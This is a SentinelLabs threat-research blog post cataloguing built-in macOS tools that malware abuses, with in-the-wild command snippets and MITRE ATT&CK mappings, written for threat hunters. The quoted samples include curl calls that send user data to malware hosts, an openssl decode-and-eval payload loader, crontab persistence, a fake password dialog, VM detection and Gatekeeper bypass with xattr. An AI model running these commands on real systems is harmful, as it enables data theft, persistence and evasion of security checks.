



In a recent two-part series of blog posts on Medium, [Nasreddine Bencherchali](#) took

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Looking back at campaigns directly targeting the macOS platform for the last several years, we have rounded up 20 of the most commonly used built-in tools (ab)used by threat actors, malware, and adware, complete with in-the-wild examples and associated MITRE behavioral indicators. We've also added links for each threat so that you can follow up on further details such as IoCs, hashes and researcher analyses.

## chmod (/bin/chmod)

Change file modes or Access Control Lists. Generally used by malware in order to give executable permissions to an executable payload retrieved remotely from a C2.

### Common Arguments

```
chmod +x
```

```
chmod -R 755
```

```
chmod 777
```

### ITW Examples

#### Bundlore

```
chmod -R 755 /var/folders/vq/04qz73bd7zb27d3b6r7rc6zr0000gq/T/x.mykHCy73
```

#### XCSSET

```
chmod +x "xcassets"
```

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## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- File and Directory Permissions Modification [T1222](#)

## chown (/usr/sbin/chown)

Change file owner and group. This utility is used by malware to change the user ID and/or the group ID of the specified files. This can lock other users' out of access to the file, thus hampering removal or inspection. It may also be required in order to execute a file in certain, elevated context.

## Common Arguments

```
chown -R <user[:group]>
```

## ITW Examples

### OSX.Dummy

```
chown root /tmp/script.sh
```

### MMInstall

```
/usr/sbin/chown -R root:wheel /Applications/MyCouponsmart
```

```
/usr/sbin/chown -R root:wheel /Users/user/Applications/SecureMacUpdates
```

## Associated MITRE Techniques

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as a means to achieve persistence on macOS either in addition to or instead of installing agents and daemons via [launchctl](#). Threat actors may also enumerate existing crontabs in order to manipulate them.

## Common Arguments

```
crontab -l
```

```
echo '<*/num> * * * * ' | crontab -
```

## ITW Examples

### Empyre

```
cmd = 'crontab -l | { cat; echo "0 * * * * %s"; } | crontab -'
```

### GravityRAT

```
sudo crontab -l 2>/dev/null; echo "*/* * * * s
```

### Pupy RAT

```
cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u
```

### VindInstaller

```
crontab -l > /tmp/file
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Persistence [TA0003](#)

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Integrity Protection tool. The `csrutil` tool is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

## Common Arguments

```
csrutil status
```

## ITW Examples

Bella

```
if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
    csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
    (out, err) = csrutil.communicate()
    if "disabled" in out:
        send_msg(greenPlus + out, False)
        sipEnabled = False #SIP function exists, but is specifically and intentionally disabled
```

MacSearch

```
/usr/bin/csrutil
```

OSX.Proton.C

```
csrutil status
```

## Associated MITRE Techniques

THE FOLLOWING TABLES LIST THE MITRE ATTACK FRAMEWORK TECHNIQUES ASSOCIATED WITH THIS TOOL.

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tools in the malware author's toolkit, `curl` is used widely in threats of all kinds, from PUPs and adware to trojans, backdoors, and APT implants, in order to download payloads, exfiltrate user data, and track campaigns via unique identifiers.

Monitoring for malicious use of `curl` is a must for all security teams.

## Common Arguments

```
curl -k -s -L -o
```

## ITW Examples

### OSX.GMERA

```
req=`curl -ks "http://owpqkszz.info/link.php?${whoami}&${ip}"`
```

### Shlayer

```
curl -fsL "$url" >$tmp_path
```

### Bundlore

```
curl -s -L -o "${dir}/stmp.tar.gz" "${dlUrl}"
```

### OSX.Mami

```
do curl -L -f -v --create-dirs -o '/Users/user/Library/Application Support/Cyclonica/Cyclonica'
```

### XCSSET

```
curl --connect-timeout 10 -sk https://flixprice.com/agent/log.php
```

## Associated MITRE Techniques

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## `dirname (/usr/bin/dname)`

Returns the filename or directory portion of a pathname. The `dirname` utility and its companion utility `basename` are both used widely by threat actors as a means of constructing installation paths and locating relative assets based on the executing parent's location. Whereas `dirname` returns the full path to the parent of the current working directory, `basename` returns the name of the current working directory without the preceding path.

### Common Arguments

`dirname <path>`

`basename <path>`

### ITW Examples

#### XCSSET

```
dirname /Users/user/Library/LaunchAgents/com.apple.core.accounts.plist
```

```
sh -c basename '/Users/user/Library/Application
```

```
Scripts/com.apple.AddressBook.Shared/CoreFrameworks/com.oracle.java.sound.app'
```

#### OceanLotus

```
dirname /Users/user/Downloads/ALL tim nha Chi Ngoc Canada.doc
```

#### MMInstall

```
dirname /Applications/MyCouponsmart/MyCouponsmart
```

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- File and Directory Discovery [T1083](#)

## ioreg (/usr/sbin/ioreg)

Displays the I/O Kit registry. This Unix binary is widely used by many malware families to determine the device's unique ID (for campaign tracking), usually in the form of the machine's serial number. This may or may not be hashed with another utility (e.g., md5) before being sent to the C2. To facilitate anti-analysis and evasion, [ioreg](#) is also used by some threat actors to determine whether the device is running in a virtual environment.

### Common Arguments

```
ioreg -c IOPlatformExpertDevice -d 2 | awk -F"" '/IOPlatformSerialNumber/{print $(NF-1)}'
```

### ITW Examples

#### [OSX.CpuMeaner](#)

```
ioreg -rd1 -w0 -c AppleAHCIIDiskDriver | awk '/Serial Number/{gsub("","", "", $4);print $4}'
```

#### [OSX.Fruitfly](#)

```
ioreg -l | grep -e 'VirtualBox' -e 'Oracle' -e 'VMware' -e 'Parallels' | wc -l
```

#### [OceanLotus](#)

```
ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, "\\");  
printf("%s" line[4])· }'
```

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`kill (built-in), pkill (/usr/bin/pkill), killall (/usr/bin/killall)`

These related commands are used to kill processes (`kill`, `pkill`) and applications (`killall`). Typically, malware actors use these on macOS for evasion and anti-analysis, such as killing the Activity Monitor or the Terminal to prevent users inspecting processes.

## Common Arguments

`killall`

`kill -9`

`pkill`

## ITW Examples

macOS.OSAMiner

`killall Terminal`

XCSSET

`xargs kill -9`

Bundlore

`pkill cfprefsd`

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

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third-party services, and starting newly created persistence jobs installed as Launch Agents and Launch Daemons.

## Common Arguments

`launchctl load`

`launchctl unload`

`launchctl stop`

`launchctl start`

`launchctl remove`

## ITW Examples

### OSX.CoinMiner

`launchctl load /Library/LaunchDaemons/com.apple.acc.installer.v1.plist`

### Lazarus Family

`launchctl load -w "%s/Library/LaunchAgents/%s"`

### FinFisher/FinSpy

`/bin/launchctl load`

`/bin/launchctl unload`

### OSX.Dummy

`launchctl load -w`

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```
021b0ee0: 1a04 0144 930e e089 0120 92c5 0000 0000 ...D.....
021b0ef0: 0600 0000 0000 0000 4160 0001 0000 0000 .....A`.....
021b0f00: 0000 0000 0000 0000 0000 0000 0000 0000 .....
021b0f10: 0000 0000 0000 0000 0000 0000 0945 073e .....E.>
021b0f20: 0e4c 056d 0401 3405 dcc0 0000 0000 2d00 .L.m..4.....-
021b0f30: 0000 011c 8cc0 0000 0000 0500 0000 09e1 .....
021b0f40: 0101 0c05 9506 c000 0000 0002 0000 0000 .....
021b0f50: 188d c000 0000 0004 0000 0001 1491 c3e6 .....
021b0f60: b76d cb00 0000 0000 0000 0009 0000 006c .m.....l
021b0f70: 6175 6e63 6863 746c 0000 0000 0000 0001 aunchctl.....
021b0f80: 1091 c2fe bc87 9100 0000 0000 0000 0004 .....
021b0f90: 0000 006c 6f61 6400 0000 0001 1091 c2ea ...load.....
021b0fa0: f6ca 8100 0000 0000 0000 0002 0000 002d .....-
021b0fb0: 7700 0000 0000 0009 e108 3c3d 0144 930e w.....<=.D..
021b0fc0: e089 0120 92c5 0000 0000 0600 0000 0000 ... ..
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- System Services: Launchctl [T1569](#)
- Scheduled Task/Job: Launchd [T1053](#)
- Create or Modify System Process: Launch Agent [T1543.001](#)
- Create or Modify System Process: Launch Daemon [T1543.004](#)

## mktemp (/usr/bin/mktemp)

Make a unique filename. This useful utility is widely used by malware to make random, unique file and directory names for payloads. Despite the name, [mktemp](#) does not have to be used only in the [/tmp](#) directory.

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```
tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXXX)
```

```
TMP_DIR=`mktemp -d -t x
```

Shlayer

```
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXXX)"
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Hide Artifacts [T1564](#)

## openssl (/usr/bin/openssl)

Cryptography toolkit, [openssl](#) is used widely by attackers, often in conjunction with [base64](#), to encode and decode malware to hide it from detection.

## Common Arguments

```
openssl enc -aes-256-cbc -d -A -base64 -k
```

## ITW Examples

EvilOSX

```
os.popen("openssl req -newkey rsa:4096 -nodes -x509 -days 365 -subj \"%s\" -sha256 "
```

MMInstall

```
/bin/sh -c /usr/sbin/ioreg -c IOPlatformExpertDevice -d 2 | awk -F"
```

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```
eval "$(openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:10598344576  
<"$fileDir"/Resources/talon")"
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Deobfuscate/Decode Files or Information [T1140](#)
- Encrypted Channel: Asymmetric Cryptography [T1573](#)

## osacompile (/usr/bin/osacompile)

Compile AppleScripts from given files or standard input into a single output script. Files may be plain text or other compiled scripts. [Osacompile](#) is useful to malware that wants to take advantage of AppleScript's [many powerful features](#) such as controlling other applications' behaviour, manipulating the GUI, faking user input and phishing for credentials.

## Common Arguments

```
osacompile -x -e
```

```
osacompile -x -o
```

## ITW Examples

[XCSSET](#)

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- Obfuscated Files or Information: Compile After Delivery [T1027](#)

## osascript (/usr/bin/osascript)

Executes a given AppleScript, which may be plain text or a compiled script (.scpt). Scripts can also be specified line by line using `-e` switches on the command line, a technique popular among adware and browser manipulating malware. Although AppleScripts can be executed [in other ways](#), osascript is still the [most common method](#) used by threat actors. It is also a particular favorite of various open source post-exploitation and RAT tools.

### Common Arguments

```
osascript -e
```

### ITW Examples

#### EvilOSX

```
osascript -e 'tell app "iTunes" to activate' -e 'tell app "iTunes" to display dialog "Error connecting to iTunes. Please verify your password"
```

#### Pupy RAT

```
cmd = 'osascript -e 'tell app "Finder" to display dialog "%s"' % args.text
```

#### EggShell

```
cmd_data["args"] = "-e 'tell application \"Finder\" to sleep'"
```

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The following techniques from MITRE ATT&CK are associated with this tool:

- Command and Scripting Interpreter: AppleScript [T1059](#)

## ps (/bin/ps)

Display information about running processes. The process status ([ps](#)) command is to macOS (and Linux) what Tasklist is to Windows: an adversary's primary means of understanding the device's current execution environment. Aside from simply enumerating running processes, [ps](#) can be used to check on a given process' start time, elapsed time, resource usage and the login name of the user who started it (among other things).

### Common Arguments

```
ps ax
```

```
ps -p -o etime=
```

### ITW Examples

[macOS.OSAMiner](#)

```
ps ax | grep -E '360|Keeper|MacMgr|Lemon|Malware|Avast|Avira|CleanMyMac' | grep -v grep |
```

```
awk '{print $1}'
```

[OSX.Fruitfly](#)

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## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Process Discovery [T1057](#)

## sw\_vers (/usr/bin/sw\_vers)

Print operating system version information. It is common for malware to determine the macOS version of the target machine both to discover what APIs are available so that the correct payload can be installed and to ascertain what system defences or mitigations may be in place (e.g., System Integrity Protection, User Data Protections like Full Disk Access).

## Common Arguments

```
sw_vers
```

```
sw_vers -productName
```

```
sw_vers -productVersion
```

```
sw_vers -buildVersion
```

## ITW Examples

### Bundlore

```
/usr/bin/sw_vers -productVersion
```

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```
sw_vers -productVersion
```

```
sw_vers -buildVersion
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- System Information Discovery [T1082](#)

## sysctl (/usr/sbin/sysctl)

Retrieve kernel state and allow apps with appropriate privileges to set kernel state. Used by malware as a means of determining whether the execution parent is within a sandbox or virtual machine. The utility can also be used to determine, among other things, the amount of installed memory on the infected device.

## Common Arguments

```
sysctl -n hw.model
```

## ITW Examples

[Bella](#)

```
sysctl -n machdep.cpu.brand_string; hostinfo | grep memory;
```

[EvilOSX](#)

```
model_key = run_command("sysctl -n hw.model")
```

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```
db      "/usr/sbin/sysctl", 0      ; DATA XREF=cfstring__usr_sbin_sysctl
aHwoptionalx866:
db      "hw.optional.x86_64", 0      ; DATA XREF=cfstring_hw_optional_x86_64
aHwcpu64bitcapa:
db      "hw.cpu64bit_capable", 0      ; DATA XREF=cfstring_hw_cpu64bit_capable
aHwoptionalx866_10000a322:          // aHwoptionalx866
db      "hw.optional.x86_64: 1", 0      ; DATA XREF=cfstring_hw_optional_x86_64__1
aHwcpu64bitcapa_10000a338:          // aHwcpu64bitcapa
db      "hw.cpu64bit_capable: 1", 0      ; DATA XREF=cfstring_hw_cpu64bit_capable__1
```

## OceanLotus

`sysctl hw.model`

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Virtualization/Sandbox Evasion [T1497](#)
- System Information Discovery [T1082](#)

## system\_profiler (/usr/sbin/system\_profiler)

Reports system hardware and software configuration. This built-in utility is a command line version of the System Information.app (/Applications/Utilities/System Information.app) and is a mainstay of all types of malware, spyware, post-exploitation tools, adware, and PUPs. Because of its deep insight into the entire environment, it can be used for a variety of purposes relating to environment

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## ITW Examples

### Bundlore

```
/usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full
```

### Empyre

```
process = subprocess.Popen("system_profiler SPHardwareDataType", stdout=subprocess.PIPE,  
shell=True)
```

### FinFisher/FinSpy

```
system_profiler SPUSBDataType | egrep -i "Manufacturer: (parallels|vmware|virtualbox)"
```

### SearchPageInstaller

```
system_profiler SPNetworkDataType | grep 'Proxy Enabled'
```

### AMC.PUA, Genieo

```
/usr/sbin/system_profiler SPHardwareDataType
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- System Information Discovery [T1082](#)
- Virtualization/Sandbox Evasion [T1497](#)

`touch (/usr/bin/touch)`

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known as “timestomping”.

## Common Arguments

```
touch
```

```
touch -t
```

## ITW Examples

OceanLotus

```
touch -t 1401140507 /Users/user/Library/User Photos/mount_devfs
```

Pirrit

```
touch /Applications/.UpdatesMac15
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Indicator Removal on Host: Timestomp [T1070](#)
- Masquerading [T1036](#)

## whoami (/usr/bin/whoami)

Display effective user id. Although this utility has been replaced by the more versatile [id](#) utility, it is still widely used by malware to retrieve the current user’s name. The [whoami](#) command is effectively a synonym for `id -un`.

```
echo '%@' | sudo -S whoami
```

```
whoami
```

Lazarus

```
whoami
```

Pupy RAT

```
username=`whoami`
```

OSX.GMERA

```
whoami="$(remove_spec_char `whoami`)"
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- System Owner/User Discovery [T1033](#)

## xattr (/usr/bin/xattr)

[Display](#) and manipulate extended attributes. Used by malware and threat actors as a means to bypass [Gatekeeper](#) and [Notarization](#) checks on macOS. Incredibly, any process or user can remove the file attribute that is required for these checks to proceed without admin rights.

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## ITW Examples

### OceanLotus

```
find /Users/user -name *ALL tim nha Chi Ngoc Canada* -exec xattr -d com.apple.quarantine {}
```

+

### XCSSET

```
/bin/bash -c xattr -cr '/Applications/Google Chrome.app'
```

## Associated MITRE Techniques

The following techniques from MITRE ATT&CK are associated with this tool:

- Bypass or Subvert Trust Controls [T1553](#)

## Conclusion

Many threat actors and malware samples use the same tools on macOS, so monitoring or searching for anomalous use of these tools can help your incident response, threat hunting and blue team efforts. For more in-depth information on macOS threat hunting, grab the free SentinelLabs [Guide to macOS Threat Hunting & Incident Response](#) ebook.

OSX

TTP

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## PHIL STOKES

Phil Stokes is a Threat Researcher at SentinelOne, specializing in macOS threat intelligence, platform vulnerabilities and malware analysis. He began his journey into macOS security as a software developer, creating end user troubleshooting and security tools just at the time when macOS adware and commodity malware first began appearing on the platform. Phil has been closely following the development of macOS threats as well as researching Mac software and OS vulnerabilities since 2014.

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
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
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
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
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
In the era of interconnectivity, when markets, geographies, and jurisdictions merge in the melting pot of the digital domain, the perils of the threat ecosystem become unparalleled. Crimeware families achieve an unparalleled level of technical sophistication, APT groups are competing in fully-fledged cyber warfare, while once decentralized and scattered threat actors are forming adamant alliances of operating as elite corporate espionage teams.

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